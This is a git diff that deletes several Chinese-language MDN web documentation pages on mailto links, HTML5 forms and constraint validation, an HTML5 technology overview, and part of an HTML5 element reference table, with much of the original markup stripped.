以它最基础和最常用的形式,一个mailto链接仅简单的指明目标收件人的邮箱地址。例如:

- -
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
-
-Complete examples detail:
-
-<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com
-&amp;subject=The%20subject%20of%20the%20email
-&amp;body=The%20body%20of%20the%20email">
-Send mail with cc, bcc, subject and body</a>
- - - -

这导致链接看起来像这样: Send email to nowhere.

- -

事实上, 目标收件人邮件地址都是可选的。 如果你不添加它 (也就是,你的{{htmlattrxref("href", "a")}} 是简单的 "mailto:"),用户的邮件客户端将打开一个新的外发电子邮件窗口,该窗口尚未指定目标地址。这通常非常有用,因为用户可以单击“共享”链接以将电子邮件发送到他们选择的地址。

- -

指定细节

- -

除了电子邮件地址,您还可以提供其他信息。事实上, 任何标准的邮件头字段都可以添加到您提供的mailto URL中。 最广泛使用的是: "subject", "cc", and "body" (这不是真正的标题字段,但允许您为新电子邮件指定简短内容消息). 每个字段及其值都被指定为一个查询字词(query term)。

- -
-
-
译者注:
-
- -
    -
  • `subject`:主题
  • -
  • `cc`:抄送到次要收件人(与邮件有关但无需做出应答的个人或组织)
  • -
  •  `bcc`:密送到其他收件人。主要、次要收件人不应该获得密送收件人的身份。
  • -
  • `body`:邮件内容
  • -
-
- -
-

Note: 每个字段的值都必须进行编码  (也就是, 带有非印刷字符和空格 percent-escaped).

-
- -

样品mailto 网址

- -

这有一些有关 mailto 的示例链接:

- - - -

请注意,使用&符号来分隔mailto URL中的每个字段。这是标准的URL查询表示法。

- -

例子

- -

如果您想创建一封要求订阅新闻通讯的外发电子邮件, 您可能会使用一个 mailto链接,像这样:

- -
<a href="mailto:nowhere@mozilla.org?subject=Newsletter%20subscription%20request&body=Please%20subscribe%20me%20to%20your%20newsletter!%0A%0AFull%20name%3A%0A%0AWhere%20did%20you%20hear%20about%20us%3F">
-Subscribe to our newsletter
-</a>
- -

结果链接看起来像这样: Subscribe to our newsletter.

- - diff --git a/files/zh-cn/web/guide/html/forms_in_html/index.html b/files/zh-cn/web/guide/html/forms_in_html/index.html deleted file mode 100644 index 24a27db5b5..0000000000 --- a/files/zh-cn/web/guide/html/forms_in_html/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: HTML 中的表单 -slug: Web/Guide/HTML/Forms_in_HTML -tags: - - HTML5 - - HTML5 form updates - - form -translation_of: Learn/HTML/Forms/HTML5_updates ---- -
HTML5中的表单元素和属性提供了比HTML4更多的语义标记,并取消了大量的在HTML4不可缺少的脚本和样式。HTML5中的表单功能为用户提供了更好的体验,使表单在不同网站之间更一致,并向用户提供有关数据输入的即时反馈。它们还为使用禁用脚本的浏览器的用户提供相同的用户体验。
- -
 
- -
本文总结了HTML5中的表单变化。有关使用表单的详细指南,请参阅我们更多的HTML表单指南
- -
 
- -

<input> 元素

- -

{{HTMLElement("input")}} 的 {{htmlattrxref("type", "input")}} 特性拥有更多的值。(请观看 {{HTMLElement("input")}} 获得完整列表)

- -
    -
  • search: 这个元素呈现为一个搜索框。除了换行符会自动从输入中移除,无其他强制性语法。
  • -
  • tel: 这个元素可现为一个编辑电话号码的输入控件。因为电话号码国际化差异非常明显,所以除了换行符会自动从输入中移除,无其他强制性语法。你可以使用如 {{htmlattrxref("pattern", "input")}} 与 {{htmlattrxref("maxlength", "input")}} 等属性来限制输入到控件中的值。
  • -
  • url: 这个元素呈现为一个编辑URL 的输入控件。换行符与首尾的空格将会被自动去除。
  • -
  • -

    email: 这个元素呈现为一个邮件地址。换行符会被自动去除。可以设置一个无效的邮件地址,但若满足输入框的限制,必须遵守在扩展的巴科斯范式(ABNF)中的规范:1*( atext / "." ) "@" ldh-str 1*( "." ldh-str ) 其中atext 在规范RFC 5322 section 3.2.3 中被定义,而ldh-str在规范RFC 1034 section 3.5 中被定义。.

    - -
    注意: 若设置{{htmlattrxref("multiple", "input")}}属性,{{HTMLElement("input")}} 区域中可以用逗号分割的方式,输入多个email, 但 Firefox不支持.
    -
  • -
- -

 {{HTMLElement("input")}} 元素也拥有一些新的特性。

- -
    -
  • {{htmlattrxref("list", "input")}}: {{HTMLElement("datalist")}} 元素的 ID,该元素的内容,{{HTMLElement("option")}} 元素被用作提示信息,会在 input 的建议区域作为提议显示出来。
  • -
  • {{htmlattrxref("pattern", "input")}}: 一个正则表达式,用于检查控件的值,能够作用于 {{htmlattrxref("type", "input")}} 值是 text, tel, search, url, 和 email 的 input 元素。
  • -
  • {{htmlattrxref("form", "input")}}: 一个字符串,用于表明该 input 属于哪个 {{HTMLElement("form")}} 元素。一个 input 只能存在于一个表单中。
  • -
  • {{htmlattrxref("formmethod", "input")}}:一个字符串,用于表明表单提交时会使用哪个 HTTP 方法 (GET 或 POST);如果定义了它,则可以覆盖  {{HTMLElement("form")}} 元素上的 {{htmlattrxref("method", "form")}} 特性。只有当 {{htmlattrxref("type", "input")}} 值为 image 或 submit,并且 {{htmlattrxref("form", "input")}} 特性被设置的情况下, {{htmlattrxref("formmethod", "input")}} 才能生效。
  • -
  • {{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: 一个字符串,当表单字段验证失败后显示错误信息。该值为 Mozilla 扩展,并非标准。
  • -
- -

text input

- -
-
 
-
- -

这个程序段段定义了一个用户可以输入的一行input。

- -
<form>
-  Enter your Name <input type="text" name="name">
-</form>
- -

checkboxes

- -

这个程序段允许用户选择多个选项。

- -
<input type="checkbox" name="chk" value="" checked> Do you want the newsletter
- -

Radio < input> element

- -
<form>
-  <input type="radio" name="frequency" value="daily">Daily<br>
-  <input type="radio" name="frequency" value="weekly">Weekly<br>
-  <input type="radio" name="frequency" value="monthly">Monthly<br>
-  <input type="radio" name="frequency" value="yearly">Yearly
-</form>
- -

<form> 元素

- -

{{HTMLElement("form")}} 元素有了一个新特性:

- -
    -
  • {{htmlattrxref("novalidate", "form")}}:设置了该特性不会在表单提交之前对其进行验证。
  • -
- -

<datalist> 元素

- -

{{HTMLElement("datalist")}} 元素会在填写 {{HTMLElement("input")}} 字段时,显示一列 {{HTMLElement("option")}} 作为提示。

- -

你可以使用 {{HTMLElement("input")}} 元素上的 {{htmlattrxref("list", "input")}} 特性来将一个特定的 input 与特定的 {{HTMLElement("datalist")}} 元素做关联。

- -

<output> 元素

- -

{{HTMLElement("output")}} 元素表示计算的结果。

- -

你可以使用 {{htmlattrxref("for", "output")}} 特性来在 {{HTMLElement("output")}} 元素与文档内其他能够影响运算的元素(例如,input 或参数)建立关联。 {{htmlattrxref("for", "output")}} 特性的值是以空格做分隔的其他元素的 ID 列表。

- -

{{non-standard_inline}} Gecko 2.0 (其他浏览器并非如此) 支持为 {{HTMLElement("output")}} 元素自定义有效性约束(validity constraints)与错误信息,可以对其使用如下 CSS 伪类:{{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}},与 {{Cssxref(":-moz-ui-valid")}}。在如下情况会显得很有用:例如计算结果违反了业务规则,但却并非因为特定的 input 值出现错误(例如,「百分比总数不能超过100)。

- -

placeholder 特性

- -

{{htmlattrxref("placeholder", "input")}} 特性作用于 {{HTMLElement("input")}} 与 {{HTMLElement("textarea")}} 元素上,提示用户此域内能够输入什么内容。placeholder 中的文本不能包含回车与换行。

- -

autofocus 特性

- -

{{htmlattrxref("autofocus", "input")}} 特性让你能够指定一个表单控件,当页面载入后该表单自动获得焦点,除非用户覆盖它,例如在另一个控件中输入值。一个文档内只有一个表单能够拥有 autofocus 特性,它是一个 Boolean 值。这个特性适用于 {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}},与 {{HTMLElement("textarea")}} 元素。例外情况是,如果一个 {{htmlattrxref("autofocus", "input")}} 元素的 {{htmlattrxref("type", "input")}} 特性值设置成了 hidden,则 autofocus 无法生效(就是说,你无法让一个隐藏控件自动获得焦点)。

- -

label.control DOM 属性

- -

HTMLLabelElement DOM 接口除了为 {{HTMLElement("label")}} 元素提供了对应的特性外,还提供了一个额外的属性。 control 属性返回被打上标签的控件,就是 label 适用的控件,由 {{htmlattrxref("for", "label")}} 特性(如果定义的话) 或是第一个后代元素控件来确定。

- -

约束验证

- -

HTML5 为客户端表单的验证提供了语法与 API。当然这些功能无法取代服务器端验证,出于安全性与数据完整性的考虑,服务器端验证仍然必不可少,但是客户端验证能够通过对输入数据的即时反馈来提供良好的用户体验。

- -

如果 {{HTMLElement("input")}} 元素设置了 title 特性,当验证失败时,特性值会显示在提示信息中。如果 title 设置为空字符串,则不会显示提示信息。如果没有设置 title 特性,会使用标准验证信息(例如通过 {{htmlattrxref("x-moz-errormessage")}} 特性指定,或调用 setCustomValidity() 方法) 代为显示。

- -
注意: 约束验证不支持表单中的 {{HTMLElement("button")}} 元素;若想基于表单的验证结果来改变按钮的样式,可以使用 {{cssxref(":-moz-submit-invalid")}} 伪类。
- -

约束验证的 HTML 语法

- -

下列 HTML5 语法中的条目用于为表单数据指定约束。

- -
    -
  • {{HTMLElement("input")}}, {{HTMLElement("select")}}, 和 {{HTMLElement("textarea")}} 元素上的 {{htmlattrxref("required", "input")}} 特性,指定必须提供该元素的值。(在 {{HTMLElement("input")}} 元素上, {{htmlattrxref("required", "input")}} 只能与特定的 {{htmlattrxref("type", "input")}} 特性值结合起来生效。)
  • -
  • {{HTMLElement("input")}} 元素上的 {{htmlattrxref("pattern", "input")}} 特性用于限定元素值必须匹配一个特定的正则表达式。
  • -
  • {{HTMLElement("input")}} 元素上的 {{htmlattrxref("min", "input")}} 与 {{htmlattrxref("max", "input")}} 特性限定了能够输入元素的最大与最小值。
  • -
  • {{HTMLElement("input")}} 元素的 {{htmlattrxref("step", "input")}} 特性(与 {{htmlattrxref("min", "input")}} 与 {{htmlattrxref("max", "input")}} 特性结合使用) 限定了输入值的间隔。如果一个值与允许值的梯级不相符,则它无法通过验证。
  • -
  • {{HTMLElement("input")}} 与 {{HTMLElement("textarea")}} 元素的 {{htmlattrxref("maxlength", "input")}} 特性限制了用户能够输入的最大字符数(在 Unicode 代码点内)。
  • -
  • {{htmlattrxref("type", "input")}} 的 url 与 email 值分别用于限制输入值是否为有效的 URL 或电子邮件地址。
  • -
- -

此外,若要阻止对表单进行约束验证,你可以在 {{HTMLElement("form")}} 上设置 {{htmlattrxref("novalidate", "form")}} 特性,或在 {{HTMLElement("button")}} 与 {{HTMLElement("input")}} 元素(当 {{htmlattrxref("type", "input")}} 是 submit 或 image)上设置 {{htmlattrxref("formnovalidate", "button")}} 特性。这些特性指定了当表单提交时不做验证。

- -

约束验证 API

- -

下面这些 DOM 属性与方法和约束验证相关,能够在客户端脚本中使用:

- -
    -
  • HTMLFormElement 对象上的 checkValidity() 方法,当表单的相关元素都通过了它们的约束验证时返回 true,否则返回 false。
  • -
  • 在 表单相关元素上: -
      -
    • willValidate 属性,如果元素的约束没有被符合则值为 false。
    • -
    • validity 属性,是一个 ValidityState 对象,表示元素当前所处的验证状态(就是说约束成功或是失败)。
    • -
    • validationMessage 属性,用于描述与元素相关约束的失败信息。
    • -
    • checkValidity() 方法,如果元素没有满足它的任意约束,返回false,其他情况返回 true。
    • -
    • setCustomValidity() 方法,设置自定义验证信息,用于即将实施与验证的约束来覆盖预定义的信息。
    • -
    -
  • -
- -
{{HTML5ArticleTOC}}
diff --git a/files/zh-cn/web/guide/html/html/index.html b/files/zh-cn/web/guide/html/html/index.html deleted file mode 100644 index ee911ca9a1..0000000000 --- a/files/zh-cn/web/guide/html/html/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: HTML5 -slug: Web/Guide/HTML/HTML -tags: - - HTML - - HTML5 - - Web - - Web 开发 - - 帮助 - - 指南 - - 综述 ---- -
-
HTML5 演示
- -

展示了实战中的最新 HTML 技术的 演示汇总

- -

HTML5_Logo_128.png

-
- -

HTML5 是 HTML 标准的最新演进版本。 这个术语代表了两个不同的概念:

- -

它是一个新的 HTML 语言版本包含了新的元素,属性和行为,同时包含了一系列可以被用来让 Web 站点和应用更加多样化,功能更强大的技术。 这套技术往往被称作 HTML5 和它的朋友们,通常简称为 HTML5

- -

从要对全部所有的 Web 开发人员有用这一点出发,这个参考页面链接了有关 HTML5 技术的大量资源,并且基于它们各自的功能,把它们归类成了若干组。

- -
    -
  • 语义:能够让你更恰当地描述你的内容是什么。
  • -
  • 连通性:能够让你和服务器之间通过创新的新技术方法进行通信。
  • -
  • 离线 & 存储:能够让网页在客户端本地存储数据以及更高效地离线运行。
  • -
  • 多媒体:使 video 和 audio 成为了在所有 Web 中的一等公民。
  • -
  • 2D/3D 绘图 & 效果:提供了一个更加分化范围的呈现选择。
  • -
  • 性能 & 集成:提供了非常显著的性能优化和更有效的计算机硬件使用。
  • -
  • 设备访问 Device Access:能够处理各种输入和输出设备。
  • -
  • 样式设计: 让作者们来创作更加复杂的主题吧!
  • -
- -
-
-

语义

- -
-
HTML5 中的节段和外观概要
-
HTML5 中新的外观概要和节段元素一览: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("aside")}} 和 {{HTMLElement("hgroup")}}.
-
使用 HTML5 的音频和视频
-
{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并能够操作新的多媒体内容。
-
HTML5 的表单
-
看一下 HTML5 中对 web 表单的改进:约束确认 API,一些新的属性,{{HTMLElement("input")}} 属性的一些新值 {{htmlattrxref("type", "input")}} 和新的 {{HTMLElement("output")}} 元素。
-
新的语义元素
-
除了区段,媒体和表单元素之外,众多的新元素,像 {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, 或者 {{HTMLElement("meter")}},也增加了有效的 HTML5 元素的数量。
-
{{HTMLElement("iframe")}} 的改进
-
使用 {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, 和 {{htmlattrxref("srcdoc", "iframe")}} 属性,作者们现在可以精确控制 {{HTMLElement("iframe")}} 元素的安全级别以及期望的渲染。
-
MathML
-
允许直接嵌入数学公式。
-
HTML5 入门
-
本文介绍了如何标示在网页设计或 Web 应用程序中使用 HTML5 时碰到的问题。
-
HTML5 兼容的解析器
-
用于把 HTML5 文档的字节转换成 DOM 的解释器,已经被扩展了,并且现在精确地定义了在所有情况下使用的行为,甚至当碰到无效的 HTML 这种情况。这就导致了 HTML5 兼容的浏览器之间极大的可预测性和互操作性。
-
- -

连通性

- -
-
Web Sockets
-
允许在页面和服务器之间建立持久连接并通过这种方法来交换非 HTML 数据。
-
Server-sent events
-
允许服务器向客户端推送事件,而不是仅在响应客户端请求时服务器才能发送数据的传统范式。
-
WebRTC
-
这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。
-
- -

离线 & 存储

- -
-
离线资源:应用程序缓存
-
火狐全面支持 HTML5 离线资源规范。其他大多数针对离线资源仅提供了某种程度上的支持。
-
在线和离线事件
-
Firefox 3 支持 WHATWG 在线和离线事件,这可以让应用程序和扩展检测是否存在可用的网络连接,以及在连接建立和断开时能感知到。
-
WHATWG 客户端会话和持久化存储 (又名 DOM 存储)
-
客户端会话和持久化存储让 web 应用程序能够在客户端存储结构化数据。
-
IndexedDB
-
是一个为了能够在浏览器中存储大量结构化数据,并且能够在这些数据上使用索引进行高性能检索的 Web 标准。
-
自 web 应用程序中使用文件
-
对新的 HTML5 文件 API 的支持已经被添加到 Gecko 中,从而使 Web 应用程序可以访问由用户选择的本地文件。这包括使用 type file{{HTMLElement("input")}} 元素的新的 multiple 属性针对多文件选择的支持。 还有 FileReader
-
- -

多媒体

- -
-
使用 HTML5 音视频
-
{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并支持新的多媒体内容的操作。
-
WebRTC
-
这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。
-
使用 Camera API
-
允许使用,操作计算机摄像头,并从中存储图像。Allows to use, manipulate and store an image from the computer's camera.
-
Track 和 WebVTT
-
 {{HTMLElement("track")}} 元素支持字幕和章节。WebVTT 一个文本轨道格式。
-
- -

3D, 图像 & 效果

- -
-
Canvas 教程
-
了解有关新的 {{HTMLElement("canvas")}} 元素以及如何在火狐中绘制图像和其他对象。
-
HTML5 针对 <canvas> 元素的文本 API
-
HTML5 文本 API 现在由 {{HTMLElement("canvas")}} 元素支持。
-
WebGL
-
WebGL 通过引入了一套非常地符合 OpenGL ES 2.0 并且可以用在 HTML5 {{HTMLElement("canvas")}} 元素中的 API 给 Web 带来了 3D 图像功能。
-
SVG
-
一个基于 XML 的可以直接嵌入到 HTML 中的矢量图像格式。
-
 
-
-
- -
-

性能 & 集成

- -
-
Web Workers
-
能够把 JavaScript 计算委托给后台线程,通过允许这些活动以防止使交互型事件变得缓慢。
-
XMLHttpRequest Level 2
-
允许异步读取页面的某些部分,允许其显示动态内容,根据时间和用户行为而有所不同。这是在 Ajax背后的技术。
-
即时编译的 JavaScript 引擎
-
新一代的 JavaScript 引擎功能更强大,性能更杰出。
-
History API
-
允许对浏览器历史记录进行操作。这对于那些交互地加载新信息的页面尤其有用。
-
conentEditable 属性:把你的网站改变成 wiki !
-
HTML5 已经把 contentEditable 属性标准化了。了解更多关于这个特性的内容。
-
拖放
-
HTML5 的拖放 API 能够支持在网站内部和网站之间拖放项目。同时也提供了一个更简单的供扩展和基于 Mozilla 的应用程序使用的 API。
-
HTML 中的焦点管理
-
支持新的 HTML5 activeElementhasFocus 属性。
-
基于 Web 的协议处理程序
-
你现在可以使用 navigator.registerProtocolHandler() 方法把 web 应用程序注册成一个协议处理程序。
-
requestAnimationFrame
-
允许控制动画渲染以获得更优性能。
-
全屏 API
-
为一个网页或者应用程序控制使用整个屏幕,而不显示浏览器界面。
-
指针锁定 API
-
允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。
-
在线和离线事件
-
为了构建一个良好的具有离线功能的 web 应用程序,你需要知道什么时候你的应用程序确实离线了。顺便提一句,在你的应用程序又再回到在线状态时你也需要知道。
-
- -

设备访问

- -
-
使用 Camera API
-
允许使用和操作计算机的摄像头,并从中存取照片。
-
触控事件
-
对用户按下触控屏的事件做出反应的处理程序。
-
使用地理位置定位
-
让浏览器使用地理位置服务定位用户的位置。
-
检测设备方向
-
让用户在运行浏览器的设备变更方向时能够得到信息。这可以被用作一种输入设备(例如制作能够对设备位置做出反应的游戏)或者使页面的布局跟屏幕的方向相适应(横向或纵向)。
-
指针锁定 API
-
允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。
-
- -

样式

- -

CSS 已经扩展到能够以一个更加复杂的方法给元素设置样式。这通常被称为 CSS3, 尽管 CSS 已经不再是很难触动的规范,并且不同的模块并不全部位于 level 3:其中一些位于 level 1 而另一些位于 level 4,覆盖了所有中间的层次。

- -
-
新的背景样式特性
-
现在可以使用 {{cssxref("box-shadow")}} 给逻辑框设置一个阴影,而且还可以设置 多背景
-
更精美的边框
-
现在不仅可以使用图像来格式化边框,使用 {{cssxref("border-image")}} 和它关联的普通属性,而且可以通过 {{cssxref("border-radius")}} 属性来支持圆角边框。
-
为你的样式设置动画
-
使用 CSS Transitions 以在不同的状态间设置动画,或者使用 CSS Animations 在页面的某些部分设置动画而不需要一个触发事件,你现在可以在页面中控制移动元素了。
-
排版方面的改进
-
作者拥有更高的控制已达到更佳的排版。他们不但可以控制 {{cssxref("text-overflow")}} 和 hyphenation, 而且也可以给它设置一个 阴影 或者更精细地控制它的 decorations。感谢新的 {{cssxref("@font-face")}} 规则,现在我们可以下载并应用自定义的字体了。.
-
新的展示性布局
-
为了提高设计的灵活性,已经有两种新的布局被添加了进来:CSS 多栏布局, 以及 CSS 灵活方框布局
-
-
-
- -

译注:

- -

被废弃的重复链接:https://developer.mozilla.org/zh-CN/docs/HTML5_junk

diff --git a/files/zh-cn/web/guide/html/html5/html5_element_list/index.html b/files/zh-cn/web/guide/html/html5/html5_element_list/index.html deleted file mode 100644 index 9a45c3ba52..0000000000 --- a/files/zh-cn/web/guide/html/html5/html5_element_list/index.html +++ /dev/null @@ -1,591 +0,0 @@ ---- -title: HTML5 标签列表 -slug: Web/Guide/HTML/HTML5/HTML5_element_list -tags: - - HTML - - HTML5 - - Web - - 初学者 - - 指南 -translation_of: Web/HTML/Element -translation_of_original: Web/Guide/HTML/HTML5/HTML5_element_list ---- -

这里列出了所有标准化的 HTML5 元素,使用起始标签描述,按照功能分组。与列出所有标准化的、非标准化的、有效的、废弃的标签的 HTML 元素索引 不同的是,该页只列出有效的 HTML5 元素。新网站应当只使用这里列出的元素。

- -

符号 这个元素在 HTML5 中加入 代表该元素是在 HTML5 中新增的。另外注意,这里列出的其他元素可能在 HTML5 标准中得到了扩充或经过修改。

- -

根元素

- - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("html")}}代表 HTML 或 XHTML 文档的根。其他所有元素必须是这个元素的子节点。
- -

文档元数据

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("head")}}代表关于文档元数据的一个集合,包括脚本或样式表的链接或内容。
{{HTMLElement("title")}}定义文档的标题,将显示在浏览器的标题栏或标签页上。该元素只能包含文本,包含的标签不会被解释。
{{HTMLElement("base")}}定义页面上相对 URL 的基准 URL。
{{HTMLElement("link")}}用于链接外部资源到该文档。
{{HTMLElement("meta")}}定义其他 HTML 元素无法描述的元数据。
{{HTMLElement("style")}}用于内联 CSS。
- -

脚本

- - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("script")}}定义一个内联脚本或链接到外部脚本。脚本语言是 JavaScript。
{{HTMLElement("noscript")}}定义当浏览器不支持脚本时显示的替代文字。
{{HTMLElement("template")}}这个元素在 HTML5 中加入通过 JavaScript 在运行时实例化内容的容器。
- -

章节

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("body")}} -
代表 HTML 文档的内容。在文档中只能有一个 <body> 元素。
-
{{HTMLElement("section")}} 这个元素在 HTML5 中加入定义文档中的一个章节。
{{HTMLElement("nav")}} 这个元素在 HTML5 中加入定义只包含导航链接的章节。
{{HTMLElement("article")}} 这个元素在 HTML5 中加入定义可以独立于内容其余部分的完整独立内容块。
{{HTMLElement("aside")}} 这个元素在 HTML5 中加入定义和页面内容关联度较低的内容——如果被删除,剩下的内容仍然很合理。
<h1>,<h2>,<h3>,<h4>,<h5>,<h6>标题元素实现了六层文档标题,<h1> 是最大的标题,<h6> 是最小的标题。标题元素简要地描述章节的主题。
{{HTMLElement("header")}} 这个元素在 HTML5 中加入定义页面或章节的头部。它经常包含 logo、页面标题和导航性的目录。
{{HTMLElement("footer")}} 这个元素在 HTML5 中加入定义页面或章节的尾部。它经常包含版权信息、法律信息链接和反馈建议用的地址。
{{HTMLElement("address")}}定义包含联系信息的一个章节。
{{HTMLElement("main")}}这个元素在 HTML5 中加入定义文档中主要或重要的内容。
- -

组织内容

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("p")}}定义一个段落。
{{HTMLElement("hr")}}代表章节、文章或其他长内容中段落之间的分隔符。
{{HTMLElement("pre")}}代表其内容已经预先排版过,格式应当保留 。
{{HTMLElement("blockquote")}}代表引用自其他来源的内容。
{{HTMLElement("ol")}}定义一个有序列表。
{{HTMLElement("ul")}}定义一个无序列表。
{{HTMLElement("li")}}定义列表中的一个列表项。
{{HTMLElement("dl")}}定义一个定义列表(一系列术语和其定义)。
{{HTMLElement("dt")}}代表一个由下一个 <dd> 定义的术语。
{{HTMLElement("dd")}}代表出现在它之前术语的定义。
{{HTMLElement("figure")}} 这个元素在 HTML5 中加入代表一个和文档有关的图例。
{{HTMLElement("figcaption")}} 这个元素在 HTML5 中加入代表一个图例的说明。
{{HTMLElement("div")}}代表一个通用的容器,没有特殊含义。
- -

文字形式

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("a")}}代表一个链接到其他资源的超链接
{{HTMLElement("em")}}代表强调 文字。
{{HTMLElement("strong")}}代表特别重要 文字。
{{HTMLElement("small")}}代表注释 ,如免责声明、版权声明等,对理解文档不重要。
{{HTMLElement("s")}}代表不准确或不相关 的内容。
{{HTMLElement("cite")}}代表作品标题
{{HTMLElement("q")}}代表内联的引用
{{HTMLElement("dfn")}}代表一个术语包含在其最近祖先内容中的定义
{{HTMLElement("abbr")}}代表省略缩写 ,其完整内容在 title 属性中。
{{HTMLElement("data")}} 这个元素在 HTML5 中加入关联一个内容的机器可读的等价形式 (该元素只在 WHATWG 版本的 HTML 标准中,不在 W3C 版本的 HTML5 标准中)。
{{HTMLElement("time")}} 这个元素在 HTML5 中加入代表日期时间 值;机器可读的等价形式通过 datetime 属性指定。
{{HTMLElement("code")}}代表计算机代码
{{HTMLElement("var")}}代表代码中的变量
{{HTMLElement("samp")}}代表程序或电脑的输出
{{HTMLElement("kbd")}}代表用户输入 ,一般从键盘输出,但也可以代表其他输入,如语音输入。
{{HTMLElement("sub")}},{{HTMLElement("sup")}}分别代表下标上标
{{HTMLElement("i")}}代表一段不同性质 的文字,如技术术语、外文短语等。
{{HTMLElement("b")}}代表一段需要被关注 的文字。
{{HTMLElement("u")}}代表一段需要下划线呈现的文本注释,如标记出拼写错误的文字等。
{{HTMLElement("mark")}} 这个元素在 HTML5 中加入代表一段需要被高亮的引用 文字。
{{HTMLElement("ruby")}} 这个元素在 HTML5 中加入代表被ruby 注释 标记的文本,如中文汉字和它的拼音。
{{HTMLElement("rt")}} 这个元素在 HTML5 中加入代表ruby 注释 ,如中文拼音。
{{HTMLElement("rp")}} 这个元素在 HTML5 中加入代表 ruby 注释两边的额外插入文本 ,用于在不支持 ruby 注释显示的浏览器中提供友好的注释显示。
{{HTMLElement("bdi")}} 这个元素在 HTML5 中加入代表需要脱离 父元素文本方向的一段文本。它允许嵌入一段不同或未知文本方向格式的文本。
{{HTMLElement("bdo")}}指定子元素的文本方向 ,显式地覆盖默认的文本方向。
{{HTMLElement("span")}}代表一段没有特殊含义的文本,当其他语义元素都不适合文本时候可以使用该元素。
{{HTMLElement("br")}}代表换行
{{HTMLElement("wbr")}} 这个元素在 HTML5 中加入代表建议换行 (Word Break Opportunity) ,当文本太长需要换行时将会在此处添加换行符。
- -

编辑

- - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("ins")}}定义增加 到文档的内容。
{{HTMLElement("del")}}定义从文档移除 的内容。
- -

嵌入内容

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("img")}}代表一张图片
{{HTMLElement("iframe")}}代表一个内联的框架
{{HTMLElement("embed")}} 这个元素在 HTML5 中加入代表一个嵌入 的外部资源,如应用程序或交互内容。
{{HTMLElement("object")}}代表一个外部资源 ,如图片、HTML 子文档、插件等。
{{HTMLElement("param")}}代表 <object> 元素所指定的插件的参数
{{HTMLElement("video")}} 这个元素在 HTML5 中加入代表一段视频 及其视频文件和字幕,并提供了播放视频的用户界面。
{{HTMLElement("audio")}} 这个元素在 HTML5 中加入代表一段声音 ,或音频流
{{HTMLElement("source")}} 这个元素在 HTML5 中加入<video><audio> 这类媒体元素指定媒体源
{{HTMLElement("track")}} 这个元素在 HTML5 中加入<video><audio> 这类媒体元素指定文本轨道(字幕)
{{HTMLElement("canvas")}} 这个元素在 HTML5 中加入代表位图区域 ,可以通过脚本在它上面实时呈现图形,如图表、游戏绘图等。
{{HTMLElement("map")}}<area> 元素共同定义图像映射 区域。
{{HTMLElement("area")}}<map> 元素共同定义图像映射 区域。
{{SVGElement("svg")}} 这个元素在 HTML5 中加入定义一个嵌入式矢量图
{{MathMLElement("math")}} 这个元素在 HTML5 中加入定义一段数学公式
- -

表格

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("table")}}定义多维数据
{{HTMLElement("caption")}}代表表格的标题
{{HTMLElement("colgroup")}}代表表格中一组单列或多列
{{HTMLElement("col")}}代表表格中的
{{HTMLElement("tbody")}}代表表格中一块具体数据 (表格主体)。
{{HTMLElement("thead")}}代表表格中一块列标签 (表头)。
{{HTMLElement("tfoot")}}代表表格中一块列摘要 (表尾)。
{{HTMLElement("tr")}}代表表格中的
{{HTMLElement("td")}}代表表格中的单元格
{{HTMLElement("th")}}代表表格中的头部单元格
- -

表单

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementDescription
{{HTMLElement("form")}}代表一个表单 ,由控件组成。
{{HTMLElement("fieldset")}}代表控件组
{{HTMLElement("legend")}}代表 <fieldset> 控件组的标题
{{HTMLElement("label")}}代表表单控件的标题
{{HTMLElement("input")}}代表允许用户编辑数据的数据区 (文本框、单选框、复选框等)。
{{HTMLElement("button")}}代表按钮
{{HTMLElement("select")}}代表下拉框
{{HTMLElement("datalist")}} 这个元素在 HTML5 中加入代表提供给其他控件的一组预定义选项
{{HTMLElement("optgroup")}}代表一个选项分组
